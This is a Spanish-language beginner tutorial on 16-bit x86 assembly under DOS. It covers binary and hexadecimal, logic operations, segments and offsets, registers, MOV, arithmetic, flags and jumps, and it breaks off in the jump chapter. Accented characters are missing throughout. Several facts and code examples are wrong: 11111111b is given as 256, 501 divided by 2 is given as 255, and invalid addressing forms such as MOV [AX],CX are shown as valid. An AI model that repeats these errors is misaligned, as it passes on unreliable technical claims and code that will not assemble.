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INDICE
1.- Sistemas nmericos
2.- Operaciones con bytes
2.1.- AND
2.2.- OR
2.3.- XOR
2.4.- NOT
3.- El juego de registros
4.- Comenzamos !!!
5.- Operacines
5.1.- INC y DEC
5.2.- ADD y SUB
5.3.- NEG y NOT
5.4.- MUL y DIV
6.- Flags
6.1.- Instrucciones de comparacin (CMP y TEST)
7.- Las instrucciones de salto
7.1.- Saltos incondicionales
7.2.- Saltos condicionales
7.3.- Bucles
8.- La pila
8.1.- La orden CALL
9.- Interrupciones
10.- Resto de rdenes
10.1.- XCHG
10.2.- LEA
10.3.- LDS y LES
10.4.- DELAYs
10.5.- Instrucciones de cadena
10.6.- Datos
10.7.- Acceso a puertos I/O
10.8.- Anulacin de interrupciones
11.- Estructura COM
12.- Estructura EXE
13.- Ap‚ndice A: Juego de instrucciones
14.- Ap‚ndice B: Numeracin negativa
15.- Agradecimientos y dedicatorias
Sistemas num‚ricos
Comencemos por los sistemas de numeracin que m s utilizaremos al
programar.
El b sico va a ser el sistema hexadecimal, aunque debemos de explicar
antes el binario, el sistema de numeracin que utiliza el ordenador.
Los nmeros que conocemos est n escritos en base 10. Esto significa que
tenemos, desde el 0 hasta el 9, diez smbolos para representar cada cifra.
Es decir, cada cifra ir de 0 a 9, y al superar el valor "9", cambiar a
0 y sumar uno a su cifra de la izquierda: 9+1: 10 .
El sistema binario utiliza tan slo dos smbolos, el "0" y el "1".
Imaginemos que tenemos el nmero binario "0". Al sumarle una unidad,
‚ste nmero binario cambiar a "1". Sin embargo, si volvemos a aadirle
otra unidad, ‚ste nmero en formato binario ser el "10" ( aumenta la
cifra a la izquierda, que era 0, y la anterior toma el valor mnimo ).
Sumemos ahora otra unidad: el aspecto del nmero ser "11" ( tres en
decimal ). Y podramos seguir:
Binario: 0 ; 1 ; 10 ; 11 ; 100 ; 101 ; 110; 111 ; 1000 ; 1001 ; 1010,...
Decimal: 0 1 2 3 4 5 6 7 8 9 10
Esto nos permite establecer un sistema bastante sencillo de conversin
del binario al decimal;
He aqu los valores siendo n el valor de la cifra:
Cifra menos significativa:
n*2^0 = 1 si n=1 o 0 si n=0
Segunda cifra:
n*2^1 = 2 si n=1 o 0 si n=0
Tercera cifra:
n*2^2 = 4 si n=1 o 0 si n=0
Cuarta cifra:
n*2^3 = 8 si n=1 o 0 si n=0
Etc,...
Y as continuaramos, aumentando el nmero al que se eleva 2. Traduzcamos
entonces el nmero binario '10110111'
2^7+ 0 +2^5+2^4+ 0 +2^2+2^1+2^0 = 128 + 0 + 32 + 16 + 4 + 2 + 1 = 183
1 0 1 1 0 1 1 1
De todos modos, ‚sta transformacin la he puesto smplemente para que se
comprenda con m s claridad cmo funcionan los nmeros binarios. Es mucho
m s aconsejable el uso de una calculadora cientfica que permita realizar
conversiones entre decimales, hexadecimales y binarios. Se hace su uso
ya casi imprescindible al programar.
La razn del uso de los nmeros binarios es sencilla. Es lo que entiende
el ordenador, ya que interpreta diferencias de voltaje como activado ( 1 )
o desactivado ( 0 ), aunque no detallar‚ ‚sto. Cada byte de informacin est
compuesto por ocho dgitos binarios, y a cada cifra se le llama bit. El
nmero utilizado en el ejemplo, el 10110111, sera un byte, y cada una de
sus ocho cifras, un bit.
Y a partir de ahora, cuando escriba un nmero binario, lo har‚ con la
notacin usual, con una "b" al final del nmero ( ej: 10010101b )
Ahora me paso al hexadecimal, muy utilizado en ensamblador. Se trata de
un sistema de numeracin en base diecis‚is. Por tanto, hay diecis‚is
smbolos para cada cifra, y en vez de inventarse para ello nuevos smbolos,
se decidi adoptar las primeras letras del abecedario. Por lo tanto,
tendremos ahora:
Hex Dec
1 --> 1
2 --> 2
3 --> 3
4 --> 4
5 --> 5
6 --> 6
7 --> 7
8 --> 8
9 --> 9
A --> 10
B --> 11
C --> 12
D --> 13
E --> 14
F --> 15
10 --> 16
11 --> 17
Etc,...
Como vemos, ‚ste sistema nos planteas bastantes problemas para la
conversin. Repito lo dicho, una calculadora cientfica nos ser casi
imprescindible para ‚sto.
Por qu‚ utilizar ‚ste sistema ? Bien sencillo. Volvamos al byte, y
traduzcamos su valor m s alto, "11111111". Resulta ser 256. Ahora pasemos
‚sta cifra al sistema hexadecimal, y nos resultar "FF". Obtenemos un
nmero m s comprensible que el binario ( difcil de recordar ), y ante todo
mucho m s compacto, en el que dos cifras nos representar n cada byte.
Podremos adem s traducir f cilmente el binario a hexadecimal con ‚sta
tabla; cada cuatro cifras binarias pueden traducirse al hexadecimal:
ͻ
Binario Hexadecimal
ͼ
0000 0
0001 1
0010 2
0011 3
0100 4
0101 5
0110 6
0111 7
1000 8
1001 9
1010 A
1011 B
1100 C
1101 D
1110 E
1111 F
Por ejemplo, el nmero binario:
1111001110101110
En hexadecimal sera:
1111 0011 1010 1110
F 3 A E
Para referirnos a un nmero hexadecimal sin especificarlo, usaremos la
notacin que se suele usar al programar, con un 0 al principio ( necesario
cuando hay letras ) y una h al final, por ejemplo, el nmero anterior sera
0F3AEh
Ŀ
Operaciones con bytes
Hay cuatro operaciones b sicas que se pueden realizar con un nmero
binario, y coinciden con operaciones de la lgica matem tica, con lo que
cualquiera que la haya estudiado tendr cierta ventaja para entenderla.
Para explicarlas, llamar‚ al valor 0 resultado "falso", y al valor 1
"verdadero". Las operaciones son AND, OR, XOR y NOT
AND:
---
Es un 'y' lgico. Se realiza entre dos cifras binarias confrontando cada
cifra con su correspondiente, y el resultado ser "1" si las dos son
verdaderas ( si las dos valen "1" ), y "0" ( falso ) en el resto de los
casos.
AND
1.numero 2.numero Resultado
1 1 1
1 0 0
0 1 0
0 0 0
Vuelvo a la lgica para explicarlo m s claramente: Imaginemos la frase:
"El hombre es un mamfero y camina erguido". El hecho de que el hombre sea
un mamfero es cierto ( 1 ), y el de que camine erguido, otro ( 1 ). Por
lo tanto, al unirlos mediante una conjuncin ( 'y' o 'AND' ), resulta que
ya que se dan las dos, la oracin es verdadera.
Pongamos un ejemplo m s complejos, queremos realizar un AND lgico entre
dos bytes:
11011000 AND 01101001
Observemos lo que sucede:
11011000 216
AND 01101001 En sistema decimal sera: AND 105
-------- (aunque en sistema decimal ---
01001000 es m s lioso) 72
Cuando coinciden dos valores de "verdad", el resultado es "verdad",
si uno es falso, el resultado es "falso" ( no es verdad que "El hombre
es un mamfero y respira debajo del agua" ), y si los dos son falsos, el
resultado es falso ( no es cierto que "El hombre es un ave y respira
debajo del agua" )
OR
--
El "o" lgico. El resultado es "verdadero" cuando al menos uno de los
factores es verdadero. O sea, es "1" cuando al menos uno de los dos factores
es "1".
Sera como la frase "Voy a buscar el peine o la caja de condones", donde
que uno sea cierto no significa que el otro no lo sea; es cierta la frase,
es verdadera mientras uno de los t‚rminos sean verdaderos.
Operemos con los nmeros "10100110" y "01101100":
10100110
OR 01101100
--------
11101110
Como hemos visto, el valor 1 ( verdadero ) queda en las cifras de las
que, confrontadas, al menos una es verdadera. Slo resulta 0 ( falso ) si
los dos nmeros enfrentados son 0 ( falsos ).
XOR
---
"Or" exclusivo. Se trata de una orden parecida al OR, tan slo que
la verdad de una excluye la de la otra. El resultado, por tanto, es "1"
( verdad ) cuando uno y slo uno de los dos nmeros es verdadero ( y el
otro falso, claro ). Sera como la oracin "O vivo o estoy muerto", para
que sea cierta se tiene que dar una de las dos, pero nunca las dos o
ninguna.
10111001
XOR 01011101
--------
11100100
La orden XOR va a ser bastante til en encriptacin, pero eso ya es otra
historia,...
NOT
---
Esto se aplica sobre un slo nmero, y en t‚rminos de lgica sera la
negacin de una oracin, o sea, si el nmero al que se aplica es 1 el
resultado es 0, y viceversa. En t‚rminos de lgica matem tica aplic ndolo
a una oracin, sera por ejemplo " No es verdad que tenga ganas de estudiar
y de no beber ", negando las otras dos que en caso contrario seran verdad:
NOT 11100110
--------
00011001
Ŀ
Bytes, bits y dem s
Tan slo, por si alguien no lo conoce, quiero detallar el modo de
almacenamiento del ordenador, incluyendo lo m s temido por el iniciado en
Ensamblador, y m s engorroso para el programador, Segments y Offsets.
La unidad mnima de informacin es el bit. Su estado, como vimos
anteriormente, puede ser 1 o 0.
Un conjunto de ocho bits, forman un byte. De ellos, el de la derecha
es el menos significativo ( su valor es menor ), y el de m s a la izquierda
el m s significativo.
Un Kbyte es un conjunto de 1024 ( que no 1000 ) bytes. Igualmente, un
MegaByte ser n 1024 kbytes, o 1024*1024=1048576 bytes.
Otro t‚rmino que utilizaremos a menudo, es palabra, o "word". Una
"palabra", es un conjunto de dos bytes, y se utiliza por que a menudo se
opera con ellas en lugar de bytes.
Y ahora, despu‚s de ‚stas cosillas, vamos con lo interesante,...
segments y offsets:
Resulta que hubo un tiempo, cuando los dinosaurios dominaban la tierra,
en el que a "alguien" se le ocurri que con 640K debera de bastarnos para
hacerlo todo. Y bien, por aqu vienen los problemas ( y voy a intentar
explicarlo lo m s mundanamente posible )
El ancho de bus de direcciones, para localizar un punto en memoria, es
de 20 bits. Por lo tanto, el nmero m ximo de direcciones de memoria a las
que podremos acceder ser 1 Mb. Pero como veremos, 20 bits no son ni 2 bytes
ni 3, sino as como 2 y medio %-). El problema es ordenarlos para que el
procesador conozca la direccin de memoria, y aqu llegan las cosillas,...
Necesitaremos para conocer una posicin de memoria pues cuatro bytes
combinados de una curiosa manera.
Imaginemos los dos bytes inferiores. Su mayor valor puede ser 0FFFFh
( poner un cero delante es una convencin, para que lo entiendan los
ensambladores, al igual que la h al final indicando que es un nmero
hexadecimal ). Esto nos da acceso a 64Kb de memoria, que se considera un
bloque. Tambi‚n, a partir de ahora, llamaremos Offset a la direccin
indicada por ‚stos dos bytes.
Ahora querremos m s memoria que 64 Kb, claro. Y para eso tenemos los
otros dos bytes. Para formar la direccin completa, se toman los 16 bits
del registro de segmento y se situan en los 16 bits superiores de la
direccin de 20 bits, dejando los otros cuatro a cero. Vamos, como si
aadi‚semos cuatro ceros a la derecha. Sumamos entonces a ‚ste valor de
20 bits el Offset, resultando la direccin real de memoria
Voy a dar una explicacin m s gr fica, porque creo que no me voy a
enterar ni yo:
Sea el valor de Segmento ( parezco un libro de matem ticas, j*der XD )
0Ah ( o sea, 10 decimal o 1010b, binario ). Y el del Offset digamos que
va a valer ( en binario ) 01011111 00001010.
La suma para obtener la direccin de memoria sera tal que as:
0000 0000 0000 1010 0000 ( segmento multiplicado*16, con 4 ceros m s )
+ 0101 1111 0000 1010 ( el offset )
------------------------
0000 0101 1111 1010 1010
Y ‚sta sera la direccin *real* de memoria ( 05FAAh o 24490 Dec ). Como
podr‚is observar, y como curiosidad final, distintos segments y offsets
especifican direcciones de memoria distintas; por ejemplo, los pares
0040h:0000 ( donde el primero es el Segment y el segundo el Offset, as
lo tomaremos a partir de ahora ), son iguales que 0000:0400h, y los dos
se referiran a la misma posicin de memoria fsica, la 0400h o 1024d
Espero que haya quedado claro, aunque sea smplemente tener una ligera
idea. Lo prximo ser n los registros, y ( y ahora me pongo como los del
Pcmana cuando hablan de Windoze95 ) podremos empezar en serio con nuestro
lenguaje favorito X-)
Ŀ
El juego de registros
Quiz alguno de vosotros se est‚ preguntando a ‚stas alturas: Y eso
del Segment y Offset, dnde se guarda, que indica al ordenador esos sitios
en memoria, qu‚ indica al ordenador en qu‚ punto de la memoria est y qu‚
tiene que ejecutar ? Pues bien, para ‚sto y mucho m s sirven los registros.
Se trata de una serie de "variables", que contienen informacin que
puede ser cambiada.
Comenzar‚, al contrario que todos los libros, por los de segmento y
offset actual: CS e IP.
El registro CS es una variable de un tamao de dos bytes. Contiene el
Segmento actual en que se encuentra el programa. IP, es la variable, de
dos bytes tambi‚n, que contiene el Offset actual. sto significa, el
ordenador va interpretando las secuencias de bytes, pero necesita "algo"
que le indique donde tiene que leer. La combinacin CS:IP ( tal y como
me refer antes en lo de Segments&Offsets ) contiene la direccin en la
que el ordenador est interpretando informacin *en el momento*. O sea,
indica la direccin de la prxima instruccin que se va a ejecutar.
El registro DS y el registro ES tambi‚n sirven para guardar direcciones
de Segmentos, y tambi‚n son variables de dos bytes, ser n utilizados para
por ejemplo mover datos en memoria, imprimir cadenas, bueno, un etc‚tera
largusimo. Digamos que son "punteros", que apuntan a cierta zona de
memoria ( siempre combinado con otro que haga de Offset, claro ).
El registro SS apunta a la pila, y el SP es el que contiene el offset
de la pila, pero ‚sto lo explicar‚ m s adelante.
Luego tenemos una serie de registros que utilizaremos m s comunmente:
AX, BX, CX y DX.
Todas ocupan dos bytes, y se pueden utilizar divididas en dos partes de
longitud un byte, cambiando de nombre. AX se divide en AH y AL, BX en
BH y BL, CX en CH y CL y DX en DH y DL. La 'H' se refiere a High en ingl‚s,
alto ( de mayor valor ), y la 'l' a Low ( de menor valor ). Lo ilustro un
poquillo:
AX
|-------------|
11010110 10111000
AH AL
Las funciones de ‚stos cuatro registros son diferentes: AX se suele
utilizar como propsito general, indica funcin a las interrupciones, etc,
y es el m s flexible, ya que ser el nico que permita multiplicaciones
y divisiones. Se denomina a veces acumulador.
BX nos servir mucho como "handler", para abrir/cerrar archivos, etc, y
como registro de propsito general al igual que AX, CX y DX
CX se suele usar como contador.
DX suele ser el puntero, sealando haciendo el papel de Offset lugares
en memoria ( suele combinarse con DS en la forma DS:DX )
Y nos quedan ya slo tres registros, BP, SI y DI, que son tambi‚n
punteros. SI y DI los utilizaremos a menudo para copiar bytes de un lado
a otro, etc. Ni que decir que, como el resto de registros, contienen dos
bytes. Igual sucede con BP, de otros dos bytes de tamao.
Ŀ
COMENZAMOS !!!
Por fin vamos a empezar con rdenes en ensamblador. Y comenzaremos con
la m s sencilla, pero curiosamente la m s utilizada en ‚ste lenguaje:
La orden MOV.
La funcin de la orden MOV es, como su nombre da a entender, "mover" un
valor. Pongamos un ejemplo:
MOV AX,BX
Esta rden en lenguaje ensamblador, copiar el contenido de BX en AX,
conservando el valor de BX. He aqu algn ejemplo m s:
MOV AX,DS
MOV ES,AX
MOV DX,AX
MOV AL,DH
Como se v‚, no se puede realizar MOV AL,BX, ya que en AL no cabe BX
( sencillo, no ;) )
Tambi‚n se puede introducir un valor dir‚ctamente en un registro. Sera
el caso de:
MOV AX,0FEA2h
MOV BL,255
MOV DH,01110101b
As de paso pongo ejemplos de como se utiliza la numeracin. El primero
era un nmero hexadecimal, el segundo decimal ( que no va acompaado por
nada para indicarlo ), y el tercero binario ( con la b al final ). A veces
para representar un nmero decimal se pone una 'd' al final ( p.ej, 10d )
M s utilidades de MOV. Podemos transferir bytes que est‚n en memoria
a un registro, o de un registro a memoria. Vayamos con los ejemplos:
MOV AX,[BX]
Y pongamos que en BX est 0EEEEh. En vez de transferir a AX el valor
0EEEEh, le transferiremos el valor que haya en la posicin de memoria
CS:BX, si CS por ejemplo vale 0134h y BX 03215h, transferiramos el byte
que hay en 0134:03215h y el siguiente a AX.
Se puede hacer tambi‚n al rev‚s;
MOV [AX],CX
Escribiramos en la direccin de memoria CS:AX el valor de CX.
Y tambi‚n podremos usar valores nmericos:
MOV AX,[2325h] ( lo que hay en CS:2325h )
MOV AX,DS:[2325h] ( el valor en DS:2325h )
MOV AX,DS:DX ( el valor en DS:DX )
MOV DX,CS:CX ( a DX, valor en CS:CX )
MOV BX,CS:1241h ( a BX, valor en CS:1241h )
Muchas veces, se utiliza Word Ptr o Byte Ptr, que aclaran el tamao a
transferir:
MOV AL,BYTE PTR [BX+SI-30h]
MOV AX,WORD PTR [BX+DI]
Como acabamos de ver, es posible hacer "sumas" de valores al buscar
una direccin en memoria. Otros ejemplos seran:
MOV AX,[BX+3]
MOV [BP+SI],AH
Y para acabar ‚sta leccin, aqu ten‚is una tablilla de ejemplos sacada
de un libro sobre MOVs que se pueden hacer:
ķ
Formatos de la instruccin MOV Ejemplos
Ķ
MOV reg,reg MOV AX,BX
MOV mem,reg MOV [BX],AL
MOV reg,mem MOV CH,[40FFh]
MOM mem,inmed MOV BYTE PTR [DI],0
MOV reg,inmed MOV BX,0FFFFh
MOV segreg,reg16 MOV DS,AX
MOV mem,segreg MOV [SI],ES
MOV segreg,mem MOV SS,[1234h]
Ľ
reg: registro mem:memoria inmed:nmero inmediato
segreg: registro de segmento reg16: registro de 16 bits
Y vista la orden MOV, seguimos adelante,... sencillo, no ? ;)
Ŀ
Operaciones
Las instrucciones INC y DEC:
Son las m s b sicas a la hora de hacer operaciones con registros: INC,
incrementa el valor de un registro ( o bueno, de cualquier posicin en
memoria ) en una unidad, y DEC lo decrementa. Veamos:
INC AX
Incrementa en uno el valor de AX
INC WORD PTR [BX+4]
Incrementa la palabra situada en CS:[BX+4] en uno.
DEC AX
Decrementa AX, le resta uno.
DEC WORD PTR [BX+4]
Decrementa la palabra situada en CS:[BX+4] en una unidad.
Estas dos instrucciones, equivalentes a por ejemplo a "a++" en C, nos
servir n bastante como contadores ( para bucles ).
Las instrucciones ADD y SUB
Se trata de dos operadores que contiene cualquier lenguaje de
programacin: la suma y la resta. Tienen dos operandos, uno de destino y
otro fuente. Para la suma, se suman los dos operandos y se almacena en
el primero (destino), y para la resta, se resta al primero el segundo,
almacen ndose en destino, el primero. Aqu est n algunos formatos de ‚stas
instrucciones:
ADD AX,BX ; Sumara AX y BX y lo guardara en AX
ADD [AX],BX ; Suma el contenido de la direccin de AX a BX,
;y se almacena en la direccin de AX
ADD AX,[BX] ; Se suman AX y el contenido de la direccin de
;BX, y se almacena ‚sta suma en AX
ADD AX,3 ; Lo mismo pero utilizando un valor inmediato
;en vez de la BX sealada anteriormente.
SUB CL,DL ; Resta de CL el valor de DL, y se almacena en CL
SUB [CX],DX ; Se resta al contenido de la direccin de CX
;el valor de DX, y se almacena en la dir. de CX
SUB CX,23h ; Se resta de CX el valor 23h, y queda en CX el
;resultado
Os habr‚is dado cuenta de una cosa, y si el resultado excede lo que
puede contener el byte, o la palabra ?. sto se puede saber mediante los
flags, que trataremos m s adelante.
Tambi‚n os habr‚is fijado en que separ‚ con ; los comentarios. Bien,
‚sta es la manera en ensamblador de poner comentarios, como sera en Basic
la rden "REM", o en C la convencin "/* [...] */"
NEG, NOT y operaciones lgicas
Neg, pone el registro o el lugar al que apunta en memoria en negativo
segn la aritm‚tica de complemento a dos tal que : NEG AX o NEG [AX]
Not es la que, como vimos, "invierte" los valores de los bits. Y el
resto de operaciones lgicas tambi‚n las vimos anteriormente. Pondr‚ ahora
tan slo su sintaxis:
NOT SI ; (o Not AX, etc,... o sea, con un registro)
NOT Word ptr es:[ax] ; Lo realiza sobre la palabra ( 2 bytes )
;que se encuentra en es:[ax]
AND AX,BX ; Efecta un AND entre AX y BX, almacenando
;el resultado en AX ( siempre en el primer
;t‚rmino )
AND [AX],BX ; Lo dicho, pero AX apunta a un lugar de
;memoria
AND AX,[BX]
AND Byte ptr [15],3 ; Un AND en la direccin :0015 con lo que
;haya ah y el valor "3"
OR AX,BX
OR [AX],BX
OR Byte ptr [15],3
OR DH,55h ;Tambi‚n podra hacerse en el AND, se
;confrontan DH y 55h en un OR.
Y todo lo dicho para OR y AND vale para XOR, de tal manera
que las operaciones son realizables entre:
Registro y registro CX,DX
Lugar de memoria y registro [DX],BX
Registro y lugar de memoria AX,[SI]
Lugar de memoria y nmero word ptr ES:[AX],0D533h
Registro y nmero AX,0CD32h
Multiplicacin y divisin, MUL y DIV
-
Las pasar‚ algo r pido, ya que para nuestros objetivos no tienen una
necesariedad excesiva, al menos a corto plazo.
Estas operaciones multiplican al acumulador por el operando indicado.
Si el operando es de 8 bits ( 1 byte ), el acumulador es AL. Si el
operando es de 16 bits, el acumulador es AX. El resultado se almacena
en AX o en el par DX-AX respectivamente, si el operando es de 8 bits o
16 bits.
Tambi‚n tendremos que diferenciar entre dos tipos de multiplicaciones
y divisiones que entiende el procesador. Los que comienzan con una I
operan con nmeros con signo ( ‚sto es, si queremos usar nmeros negativos
y tal ), y los que no, con nmeros sin signo.
Visto ‚sto, podremos decir que:
MUL Byte Ptr [CX]
Va a multiplicar el byte que hay en la direccin que marca CX por el
contenido que hay en AL, y una vez hecho ‚sto, va a almacenarlo en AX.
MUL SI
Multiplicara SI por el contenido de AX, almacen ndose en el par AX-DX.
La palabra superior ( de m s valor ), se devolvera en DX, y la inferior
en AX.
IMUL SI
Esto y el ejemplo anterior sera lo mismo, slo que operando con
nmeros con signo.
Para la divisin, el dividendo ha de estar en AX ( y ser 16 bits por
tanto ). El divisor se indica en el operando, por ejemplo en DIV BL, ‚ste
divisor estara en BL. Se dividira AX entre BL y el resultado quedara en
AL, quedando el resto en AH. Vamos a ver algn ejemplo que os veo muy
perdidos:
En la divisin de un nmero de diecis‚is bits entre otro de 8 bits, el
cociente y resto ser n de 8 bits ( 1 byte ). El dividendo ha de estar en AX,
y el divisor es el operando de la instruccin, que puede ser un registro o
un sitio en la memoria ( y se necesita poner lo de byte ptr )
O sea, sera tal que:
DIV CL o IDIV BYTE PTR ES:[BP]
El resultado se devuelve en AL, y el resto en AH. Si por ejemplo AX
valiese 501d y cl valiese 2, a hacer el DIV CL, en AL quedara 255 y en AH
quedara 1.
Se puede dividir tambi‚n un nmero de 32 bits ( 4 bytes ) entre otro de
16 bits ( 2 bytes ), con lo que cociente y resto seran de 16 bits. El
dividendo estara formado por el par DX/AX. Al hacer por ejemplo un:
DIV SI
Se dividira DX-AX entre SI, almacen ndose el resultado en AX, y el resto
en DX. Por ejemplo:
Si en DX est el valor 003Fh y en AX 5555h, el par sera 3F5555h, con lo
que al dividirlo por SI ( que pongamos que vale 0CCC4h ), se almacenara en
AX el resultado y en DX el resto.
Y ahora pasamos a una parte en la que hay algo de teora y tal,...
Ŀ
FLAGS
La explicacin de los "flags" viene a cuento de los saltos condicionales.
Los que hay is visto un mnimo de otros lenguajes recordar‚is las sentencias
FOR y NEXT ( en Basic ), o el IF/THEN/ELSE tambi‚n en estilo Basic pero
encontrable en otros lenguajes. Pues bien, los flags y las instrucciones
condicionales va a ser lo que os encontr‚is en ‚ste captulo del curso de
Ensamblador.
Vamos con el registro de flags.
A las flags, "banderas", las agrupa un slo registro de 16 bits, aunque
‚ste no est utilizado por completo, ya que cada flag ocupa un slo bit.
Pero bueno, qu‚ son los flags a todo ‚sto ?
Se trata de varios bits, que como siempre pueden valer uno o cero, y
dependiendo de su valor indican varias cosas. El registro de flags es como
sigue:
Ŀ
O D I T S Z A P C
O: Overflow D: Direccin I: Interrupciones rehabilitadas
T: Trampa S: Signo Z: Cero
A: Acarreo auxiliar P: Paridad C: Acarreo : No utilizado
Cada cuadrito representa un bit como es f cil adivinar. Tambi‚n os dar‚is
cuenta de que cada bit que se utiliza tiene un nombre, y como ver‚is tambi‚n
una utilidad. Aqu explico el significado de cada uno, o al menos de los
m s importantes:
EL FLAG DE ACARREO
Hay veces en la operaciones en las que el nmero se desborda, o sea, no
cabe en el registro o en la posicin de memoria. Imaginemos que tenemos en
AX el nmero 0FFFFh y le sumamos 0CCCCh. Como es lgico, el resultado no nos
cabr en AX. Al realizar ‚sta suma, tenemos que tener en cuenta que el
siguiente nmero a 0FFFFh es 0000h, con lo que podremos ver el resultado.
Igual pasar si a 0000h le restamos por ejemplo 1 ( el resultado ser
0FFFFh ). Pero de alguna manera nos tenemos que DAR CUENTA de que ‚sto ha
sucedido.
Cuando se opera y hay acarreo en el ltimo bit sobre el que se ha
operado, el flag de acarreo se pone a uno. O sea, cuando ese nmero se ha
desbordado. Hay que recordar tambi‚n que las instrucciones INC y DEC no
afectan a ‚ste flag. Veamos los efectos de ‚stas operaciones:
MOV AX,0FFFFh
INC AX ; AX vale ahora 0, el flag de acarreo tambi‚n
DEC AX ; AX vale 0FFFFh, y el flag sigue inalterado
ADD AX,1 ; AX vale 0, y el flag de acarreo est a 1
MOV BX,0000h
ADD BX,50h ; El flag de acarreo se pone a 0, no ha habido
;acarreo en ‚sta operacin
SUB AX,1 ; Ahora AX vale otra vez 0FFFFh, y el flag de acarreo
;se pone de nuevo a uno
En resumen, se activa cuando tras una operacin hay un paso del valor
m ximo al mnimo o viceversa
Este flag nos va a ser tambi‚n til al comprobar errores, etc. Por
ejemplo, si buscamos el primer archivo del directorio y no hay ninguno,
‚ste flag se activar , con lo que podremos usar los saltos condicionales,
pero ‚sto ya se explica m s adelante.
EL FLAG DE SIGNO
A veces interesa conocer cuando un nmero con signo es negativo o positivo.
Evidentemente, ‚sto slo tiene efecto cuando EFECTIVAMENTE estamos tratando
con nmeros enteros con signo, en complemento a dos. Indica cuando tras una
operacin aritm‚tica ( ADD, SUB, INC, DEC o NEG ) o lgica ( AND, OR o XOR )
el resultado es un nmero en complemento a dos. En realidad es la copia del
bit de mayor peso del byte, el que indica cuando el nmero es negativo.
Por lo tanto, cuando vale 1 es que el nmero es negativo y si vale 0 es
que es positivo
EL FLAG DE DESBORDAMIENTO ("Overflow")
Se trata de un flag bastante parecido al de acarreo, pero que acta con
nmeros en complemento a dos y se activa cuando se pasa del mayor nmero
positivo ( 127 en un slo byte ) al menor negativo ( -128 en tamao de un
byte ).
Este flag, al contrario que el de acarreo, SI es afectado por las
instrucciones de decremento e incremento.
EL FLAG DE CERO
De los m s sencillitos de comprender. Smplemente se activa cuando el
resultado de una operacin aritm‚tica o lgica es cero. A los avispados se
os estar ya ocurriendo la gran utilidad del flag,... tenemos por ejemplo
dos registros, AX y CX, que queremos comparar para saber si son iguales.
Para saberlo, no tendramos m s que restar uno del otro, y si el resultado
es cero ( o sea, si el flag de cero se pone en uno ), podremos hacer un
salto condicional ( ‚sto lo explico en el prximo nmero.
O sea, de un
SUB CX,AX
Si son iguales, el flag de cero se pondr a uno.
EL FLAG DE PARIDAD
Se utiliza especialmente en la transmisin de datos para la comprobacin
de errores, ya que comprueba si el resultado de la ltima operacin
aritm‚tica o lgica realizada tiene un nmero par o impar de bits puestos
a uno. Se pondr a uno cuando haya un nmero par de bits, y a cero cuando
sea impar.
RESTO DE FLAGS
No describir‚ m s flags detalladamente, ya que su importancia es casi
nula; por ejemplo est el flag de interrupcin que cuando est activado
evita la posibilidad de interrupciones en secciones crticas de cdigo, o
el de trampa, que cuando est activado provoca una INT 1h cada vez que se
ejecuta otra instruccin, pero creo que su inter‚s es escaso, al menos por
el momento.
INSTRUCCIONES DE COMPARACION
No ibamos a terminar la leccin sin ensear nuevas instrucciones !
Nos van a servir bastante para realizar las comparaciones, y son:
CMP y TEST
CMP compara dos registros, o un registro y una direccin de memoria,...
tiene el mismo formato que el SUB ( por ejemplo CMP AX,BX ), tan slo que
ninguno de los registros es alterado. Si por ejemplo son iguales, el flag
de cero se pondr en uno. Es en realidad un SUB del que no se almacena el
resultado.
TEST, comprobar, se puede realizar con el mismo formato de AND, ya que
es equivalente a ella, tan slo que no se guarda el resultado, aunque s se
modifican los flags.
Y en el prximo captulo veremos como se aplican ‚stos flags, y como
realizar los saltos comparativos.
Ŀ
LAS INSTRUCCIONES DE SALTO
SALTOS INCONDICIONALES
Empecemos por el salto sin condiciones, con el que podremos cambiar
el control a cualquier punto del programa. Sera como el "Goto" del Basic,
smplemente transferir el control a otro punto del programa. La orden es
JMP ( de Jump, salto )
Si record is a ‚stas alturas los registros CS:IP, se podr ver qu‚ es
lo que hace realmente la instruccin, y no es m s que incrementar o
decrementar IP para llegar a la zona del programa a la que queremos
transferir el control ( IP es el Offset que indica la zona de memoria
que contiene la siguiente instruccin a ejecutar, y CS el segmento )
El formato m s sencillo para el salto sera JMP 03424h, lo que saltara
a esa zona. Pero es digamos que "algo pesado" calcular en qu‚ direccin
va a estar esa instruccin, con lo que utilizaremos etiquetas. Aqu hay
un ejemplo, en el que de paso se repasa un poco:
MOV AX,0CC34h
MOV CL,22h
JMP PALANTE
VUELVE: CMP BX,AX
JMP FIN
PALANTE: MOV BX,AX
JMP VUELVE
FIN: XOR CX,CX
Ahora voy a comentar un poco el programa. Tras la primera instruccin,
AX vale 0CC34h, y tras la segunda, CL vale 22h. Despu‚s se realiza un salto
a la instruccin etiquetada con "PALANTE". La etiqueta ha de estar
continuada por dos puntos ':', y puede ser llamada desde cualquier lugar del
programa. Tambi‚n podremos hacer un MOV AX,[PALANTE], como hacamos antes
con un MOV AX,[BX], pero asignando a AX el valor que haya en la direccin
en la que est "PALANTE".
El caso, que tras el salto a "PALANTE", se copia el valor del registro BX
en AX, y se vuelve a "VUELVE". Se realiza una comparacin entre AX y BX, que
pondr el flag de cero a 1 ( recordemos la anterior leccin ), se saltar
a "FIN", donde tan slo se realizar la orden Xor CX,CX cuyo resultado, por
cierto, es poner CX a cero tenga el valor que tenga ( y ‚sto se utilizar
bastante programando, por eso me ha dado por incluir la orden )
Volvamos con la sintaxis del JMP con algunos ejemplos de como utilizarlo:
JMP 100h
Salta a la direccin 100h. Un archivo .COM comienza normalmente en esa
direccin, as que quiz lo ve is en algunos virus.
JMP 542Ah:100h
Salta a la direccin 100h pero del segmento 542Ah. Os acord is an
de los Segments y Offsets ?. Se trata de un salto lejano.
JMP SHORT 223Ah
Salto corto a la direccin 223Ah. Tranquilidad, ahora explico lo de salto
corto, lejano,...
JMP NEAR 55AAh
Salto cercano, es diferente al corto
JMP [100h]
Salta a la direccin contenida en 100h. Sin embargo es un error, ya que
no se especifca si es cercano, lejano, si se lee un slo byte,... o sea,
que ‚sta instruccin no vale.
JMP WORD PTR [BX]
Ahora si vale ;). Salta a la direccin contenida en la palabra ( dos
bytes ) a la que apunta BX. O sea, si BX valiese 300h y en 300h los dos
bytes fuesen 0CC33h, el JMP saltara a ‚sta direccin.
JMP DWORD PTR [BX+SI+5]
Dword son 32 bits, o sea, un salto lejano. Y saltara al contenido en
la direccin de memoria a la que apuntan la suma de BX,SI y 5.
Ahora voy a contar algo sobre los saltos lejanos, cercanos y cortos. El
salto corto se realiza entre el punto en el que se est y +127 o -128, o
sea, que la cantidad que se puede contener en un byte con signo. A veces
es necesario indicar que se trata de salto corto, cercano o lejano.
